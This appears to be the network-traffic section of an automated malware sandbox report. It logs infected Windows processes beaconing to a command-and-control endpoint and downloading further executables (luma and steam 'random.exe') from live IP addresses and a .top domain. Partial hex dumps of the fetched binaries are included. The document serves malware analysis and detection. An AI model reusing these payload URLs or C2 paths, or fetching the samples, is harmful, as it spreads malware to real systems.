Nov 23, 2024 11:22:10.057898045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:09 GMT Content-Type: application/octet-stream Content-Length: 4395520 Last-Modified: Sat, 23 Nov 2024 10:15:30 GMT Connection: keep-alive ETag: "6741ab42-431200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 00 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 c5 00 00 04 00 00 fe 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ef c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ef c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@0C@ _qs px'@.rsrc p'@.idata q'@ 8q'@ajtwcbtw``'@jmacswzeB@.taggant0"B@
Nov 23, 2024 11:22:10.057959080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:10.057971001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:10.058111906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:10.058125019 CET	896	IN	Data Raw: ba d7 85 a3 70 48 7d 9f d5 02 3e d5 99 f3 90 0c bd 09 91 e7 9d 4a 7c 22 8a 9d fd 1e 21 d0 b5 40 91 bf d7 37 df 8f ac 43 dc 0b d4 3b c2 d7 8b aa 93 d0 6e fc 70 4a 20 9e f7 eb bc eb f2 eb 94 8c 7e e1 45 29 56 71 6e 63 0f a7 8e ea f9 49 30 33 ed ea Data Ascii: pH}>J\|"!@7C;npJ ~E)VqncI03]RzG! NXctQ\|nTyM.m~s%k?>Iehjg`hDa{n"wZjX#a{c#v7LNFR@ZRvC2(guz2w*CrZjv= ZV2n>
Nov 23, 2024 11:22:10.058136940 CET	1236	IN	Data Raw: b1 a8 e5 28 38 99 a7 ac 7d d0 bc 26 41 98 c0 83 e4 17 0e 2b 3d 64 0e c0 2d 9b f9 57 2d 68 9c a8 ef 1b eb 00 f8 66 7a ae f0 6b 50 6b 5a 62 ea 4c d3 f2 ef 63 18 c7 37 7b c1 3a fe 8b 6d eb 5b 47 56 11 8b 4e 5b 58 14 53 dc 72 cc 92 91 b8 6f 70 d5 77 Data Ascii: (8}&A+=d-W-hfzkPkZbLc7{:m[GVN[XSropwJB@SrND}`{\|4RW9E9Q[wVTt))790NH>RZ$:mq95S_y],%T=t>-fSI"{i[+
Nov 23, 2024 11:22:10.058146954 CET	224	IN	Data Raw: cf eb 01 22 2b 06 6e 22 e1 77 83 af ed ec b4 c3 b2 87 b7 2a 38 ab 3b 0f af d4 f8 5c b9 82 b0 c3 ed a0 e6 60 b7 d2 3a d4 0a 5f a7 ac 01 7b ad 14 cc 79 f0 d2 aa ea d8 18 d6 7b f8 3f 24 8a d0 b8 e8 4f 31 c2 f7 c2 f4 df ed 2b d1 04 c4 a0 3d ff ca 6d Data Ascii: "+n"w8;\`:_{y{?$O1+=mK`BV86An=<eAjS@3q?YGvi([6Pu{W:=lH:Q2mfR1b2J3l`I
Nov 23, 2024 11:22:10.058199883 CET	1236	IN	Data Raw: d2 c1 9b 14 d0 51 dd ec 70 f6 a0 e8 0c c6 0a f0 fc 73 96 5d 8a 33 00 59 0d e1 49 41 ca 10 18 b0 17 cf c7 b9 c2 50 0a 35 7b cb a5 60 f4 c6 a0 85 00 3c 4c 85 fb ca 96 92 b6 c9 13 9f 51 6e 0c e9 16 63 ab a0 cd 62 47 43 ed f0 6b 5f 48 04 e3 43 4f 01 Data Ascii: Qps]3YIAP5{`<LQncbGCk_HCO`8<dyE =2[T3 Q"KpWLRZw2R:gREaTe$}(uG\|-`EK!!Q(h'c7=MVZ/(,6u6!OvSCuh
Nov 23, 2024 11:22:10.058212042 CET	1236	IN	Data Raw: d5 4e 77 7f 2f 8a 12 ce ce 8f 0a ce 83 5b a8 3f d1 b7 c7 de 8d c7 81 dc b6 76 7e 62 db 22 ec 08 de 6d 75 57 6d bb 93 5d a9 55 47 6a 56 c5 dd e6 95 cf 01 f0 ed 87 56 2c 19 fe 65 3d f5 a5 8c 65 8f 4a aa eb 3b ea 80 87 f9 c5 c0 e1 4f 1c a8 1b 5c 7d Data Ascii: Nw/[?v~b"muWm]UGjVV,e=eJ;O\} %bca{Y lPd&V1OME_CY}wDvQ%Hf7[A`H5}'fFkWBtK4;7U`BQsgXQ[=EQp
Nov 23, 2024 11:22:10.058223009 CET	1236	IN	Data Raw: 1a 5b dc 8b 7e d1 10 95 cd 3c 8d b4 01 33 38 22 dc e3 0d 66 b9 f0 2e 53 f3 02 9a 52 cb 16 f4 03 c3 85 fe 53 0d 36 89 99 34 d2 2d 2e e1 17 ff 16 15 c7 0c e3 7e b6 51 4b b1 95 32 95 3d e9 32 74 e6 b9 27 62 12 52 3f f0 df 32 7b 2a 7c 54 d0 49 db 96 Data Ascii: [~<38"f.SRS64-.~QK2=2t'bR?2{\|TIQx2vJv`(EH:YlA$00YjXd4I2[Vy]EsL-Mku)9<K<ozo4mc{92<jN[Cy
Nov 23, 2024 11:22:10.177591085 CET	1236	IN	Data Raw: df 08 e0 35 4d a3 5c f9 48 06 03 a9 c3 5f f0 8c df 5c 30 50 6d 3c a0 48 0d 66 e6 16 85 84 aa 8c 07 e7 ed 3d 6e 3d 80 44 68 d0 c2 c0 b1 e2 eb d5 20 b1 0b 49 ef 73 58 c0 09 e6 d3 ea 1e 89 41 9d 85 6a e2 5b f1 82 15 93 bc 1b 60 40 05 3e 3f 69 0d fd Data Ascii: 5M\H_\0Pm<Hf=n=Dh IsXAj[`@>?igF+)nG9D/Lh59[wgjotu{$#rH}Zi2h,^t{>U#H(5iZ,M`fk$k?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49786	34.116.198.130	80	928	C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:19.224572897 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 11:22:20.768131018 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 10:22:20 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 11:22:20.768177032 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 23, 2024 11:22:20.768188000 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 23, 2024 11:22:20.768219948 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 23, 2024 11:22:20.768233061 CET	1236	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 23, 2024 11:22:20.768246889 CET	1236	IN	Data Raw: 47 80 00 2b 25 42 aa bd a5 64 44 8a 14 d0 b4 84 86 fd 10 b5 76 4f dd 9c b8 72 9a 38 df c6 45 25 a8 59 77 29 fe 08 73 7d b0 d7 21 96 0b f1 48 b6 34 94 21 e6 4d e5 f5 dd c1 af 58 87 90 cd ab 11 5c 3a 8f e6 92 c1 8b d0 b4 82 68 92 ec 73 11 3e 2e e6 Data Ascii: G+%BdDvOr8E%Yw)s}!H4!MX\:hs>.6 HSrBa9A\|l=eru3Fw1A19=doudZ_fi$C\Ux<S;dfWQ&sdbn&"9*WNi4_@=}t
Nov 23, 2024 11:22:20.768261909 CET	1236	IN	Data Raw: 99 87 4e 61 83 9d 39 ec f4 40 68 7e 1e 63 fa ea d7 e1 14 8b c8 18 3c e7 78 64 68 08 a3 b5 ed e5 b1 05 f7 fe 2c 52 4b 95 f4 a1 cc 37 6e 61 9b 42 ff d7 4f d2 a5 15 9d 5a 02 57 82 82 64 1b d4 f9 5a 2c 92 89 97 9c b5 dd 98 68 aa 53 f2 26 53 33 f5 e5 Data Ascii: Na9@h~c<xdh,RK7naBOZWdZ,hS&S3FeoKSS9)v&Teke);q0\|~~A',E,NgkiQ.?9ne&6:Jj1?Z,0?>>DMi)VHumgAr]ec
Nov 23, 2024 11:22:20.768309116 CET	1236	IN	Data Raw: fe fe cf 52 24 89 fa 08 d7 42 32 e1 76 52 3a 74 b3 a1 8e 52 b7 c5 11 67 7b 1a 31 01 be 22 f7 43 6c 71 f3 94 c9 74 db 4c fb c9 e6 10 71 8b 2a 72 50 25 23 a4 fa 1d 1a 1f e8 6d 15 eb c5 65 c9 95 e7 a7 98 98 07 86 ea 57 01 77 e6 59 b1 be 1b 3e aa 85 Data Ascii: R$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E&q2V(L}k(5uptr-:H7U7wweBKIOwo#L
Nov 23, 2024 11:22:20.768336058 CET	1236	IN	Data Raw: 34 fe 03 61 a1 16 44 0c d8 cc 48 d8 60 8f 64 db 74 c2 8f 91 85 90 3e 82 8c 35 ed 45 ba 2d f0 2b 69 bd e5 6c 32 6e 00 c7 2f 8b e2 80 22 b8 57 56 d5 8a ae 86 3e 81 b8 0b 20 69 ab 34 85 a8 b0 d8 36 65 a4 ee cc 4c c2 8e 0c ad 04 22 ae 7f 21 b0 07 ba Data Ascii: 4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-{RPc-7c"fH`?o
Nov 23, 2024 11:22:20.768346071 CET	1236	IN	Data Raw: fa ea 8e 3f ab 32 a5 c5 dc af 25 18 9a 7e b4 f4 ac 14 ad 82 1d e0 7b 64 d5 d8 92 5d ce ce 08 d0 95 dc 4b 29 1c 8a 55 e5 4c d7 9c 0d 80 4e d7 82 62 ca 54 4c 00 6d 56 34 54 2e c0 ea f8 e3 30 08 33 9d 9e d0 1d 0e d0 5e 42 f2 b4 70 b1 66 ed 7e 38 19 Data Ascii: ?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlHHzp8(>KV&_Fk+j0!\&Y
Nov 23, 2024 11:22:20.888853073 CET	1236	IN	Data Raw: 6d e0 a8 5b 27 73 be b0 ca aa 17 74 39 44 b6 c6 52 0e 2d 21 2c c6 25 c0 11 70 24 0a f1 16 42 4f 8e 84 15 e9 a6 79 83 b5 9a 36 5d 26 c5 a8 b9 60 3b aa 89 ec 65 b9 33 be 1a 57 c7 f4 5a 7b fe ff f8 99 12 83 d7 7b 53 fc 25 0e 00 ae 27 d1 d4 73 1d 4d Data Ascii: m['st9DR-!,%p$BOy6]&`;e3WZ{{S%'sMemG:ko}KSWh?t@#z,@})&JynBs{)=1<L>]J+yg(/yM(E'0d]S%?JBQ7^&r9E2J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49788	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:19.889724970 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008410001&unit=246122658369
Nov 23, 2024 11:22:21.336575985 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49793	185.215.113.16	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:21.460107088 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 11:22:22.792716980 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:22 GMT Content-Type: application/octet-stream Content-Length: 1824256 Last-Modified: Sat, 23 Nov 2024 10:19:24 GMT Connection: keep-alive ETag: "6741ac2c-1bd600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 60 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 48 00 00 04 00 00 6c 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g`H@Hl@\pp `b@.rsrcpr@.idata t@ )v@dkoidnzf@/8x@bgdbltjsPH@.taggant0`H"@
Nov 23, 2024 11:22:22.792749882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:22.792798042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:22.792851925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:22.792881012 CET	1236	IN	Data Raw: a6 31 9a bc c9 2f a2 3c f1 c7 ac 5b 65 2e e7 cb 69 b9 4b d5 24 9c 75 4a b1 0a f5 f8 29 44 17 4a f8 6f 9f cb c1 89 42 f8 0e 01 c3 7f a5 36 73 81 af a1 a0 83 ef c1 0c f6 8d 52 d8 3e 03 e8 b7 46 0e 12 26 de 29 51 af d8 20 5a 89 19 37 88 19 f9 f9 9e Data Ascii: 1/<[e.iK$uJ)DJoB6sR>F&)Q Z7KB>-CKqo1{q'tp)d-amo>A/?DA){}?-wB$c fK +UhQ.( vM#DC?LuCC
Nov 23, 2024 11:22:22.792911053 CET	1236	IN	Data Raw: 75 a8 85 d3 b1 e2 81 a7 69 54 a6 ff b2 72 c9 2c e5 e5 81 b1 3f ec b3 33 30 cb fe c3 a7 49 54 b0 de ce 65 11 f1 f1 b8 c9 97 46 6c 32 ae 85 be 7f c2 89 75 b8 6b e6 01 35 52 6e 68 d2 17 a4 9f a5 5e f7 d0 de 8d 32 72 ad 7e 96 57 97 08 35 ad 95 21 a6 Data Ascii: uiTr,?30ITeFl2uk5Rnh^2r~W5!s'BC+`r#jr>*Ns?(#FE"@a4xX2m/c%592zy&QP lq])"
Nov 23, 2024 11:22:22.792960882 CET	1236	IN	Data Raw: 04 a8 30 4a 83 f1 55 c6 6b a8 ab c2 b6 0b 49 fe 87 44 7d 0c 54 7e 37 aa 01 8f 13 ed ad b5 95 ba bc ce 26 06 c5 58 3f 6e 19 01 58 fe a7 1d b7 4e 99 7d 43 6e 14 01 a5 3e 67 cb b7 71 da 71 9a d1 f1 92 b8 87 e8 74 e3 c8 ff 8e 86 f9 21 de e7 e3 0d b6 Data Ascii: 0JUkID}T~7&X?nXN}Cn>gqqt!1ss9E3#'K(OYrG)r%[cz+<\|Ug9vwu ~sEE0}id$e98;-JagpUp_.qQppr
Nov 23, 2024 11:22:22.792984009 CET	1236	IN	Data Raw: 7c dc f3 aa ee 8e 69 79 cb 69 d3 9d cc 1a 31 51 f0 f3 1b 10 2e 94 34 8a f7 c5 f0 b0 90 1c a3 6f 0b 09 56 5a f1 01 64 3a 6e 98 28 4e 02 1e 07 7a 22 95 65 ce 5b 7d a0 db 50 ff 4d 5e 61 2e df 61 0d 90 28 4f f8 e1 4b 7b d4 94 bd 58 09 ce a1 6b 66 10 Data Ascii: \|iyi1Q.4oVZd:n(Nz"e[}PM^a.a(OK{Xkf@y+_F**rIS_E/R6L( bFSxhP.}+>2oi=!e8ps`<C75I#b=
Nov 23, 2024 11:22:22.793003082 CET	1236	IN	Data Raw: 3f 79 04 46 ae f1 ef c3 c9 6b be 82 8a 8a 7f a3 01 97 35 0b 81 63 be f0 d6 a8 e5 8a 66 95 4b cc d0 00 2b 8f 61 65 a3 77 60 0a 7c 7d f2 82 1c 42 58 c1 e4 3a c7 85 b9 0a f0 91 91 c9 6f 4a f3 5c 84 54 2c fa 04 86 43 7e f4 b4 e9 7a 1f 35 aa a7 fd f6 Data Ascii: ?yFk5cfK+aew`\|}BX:oJ\T,C~z5lMg+&2ELPF$pV/DIvh/[U;$9qp7NN:%i'li]4*A?ne]#~T
Nov 23, 2024 11:22:22.793028116 CET	1236	IN	Data Raw: f1 85 d9 db cf 9e f0 6f 56 85 d6 7e d3 36 99 43 36 88 53 b4 e8 88 b3 99 2c c5 98 46 62 79 47 4a 7a 1b d7 77 c4 e3 ea e8 d8 18 4b fd 8e f2 23 c3 10 96 f4 47 2a c6 ee b6 38 19 a1 9b 68 2a 77 62 0c 05 b6 7b 12 dc 8c 3d b6 49 8a 05 2d 76 de 57 7d ca Data Ascii: oV~6C6S,FbyGJzwK#G8hwb{=I-vW}<,jCXJ?j!G-o&QPu,C<~\VjHLNR9;tN2AahMDjB>X1\+~(IN&46ilF
Nov 23, 2024 11:22:22.912522078 CET	1236	IN	Data Raw: 7e 46 a3 bf 67 d8 ca 9d 12 9a b5 76 28 01 44 ff 20 6e de 0b b1 be e0 87 d1 f9 62 b1 b9 91 72 68 7c 0c 73 51 33 4b fc cb 9b a0 6a c4 f3 81 1e b9 e7 47 f6 d7 ef 0e 5a a9 da a3 38 47 43 c6 e0 64 d0 f1 5f d1 91 3b e7 78 16 8d f2 4c ed 4d 97 9c 1e 98 Data Ascii: ~Fgv(D nbrh\|sQ3KjGZ8GCd_;xLMcmjxg]8FEs(7>_ h@WA+$,[Ay9Fomv+YQj(YSIW@9_xrHHmMTi+[+Jmy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49809	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:28.287797928 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008411001&unit=246122658369
Nov 23, 2024 11:22:29.668050051 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49816	185.215.113.16	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:29.791012049 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 11:22:31.168200970 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:30 GMT Content-Type: application/octet-stream Content-Length: 1814016 Last-Modified: Sat, 23 Nov 2024 10:19:31 GMT Connection: keep-alive ETag: "6741ac33-1bae00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 60 69 00 00 10 00 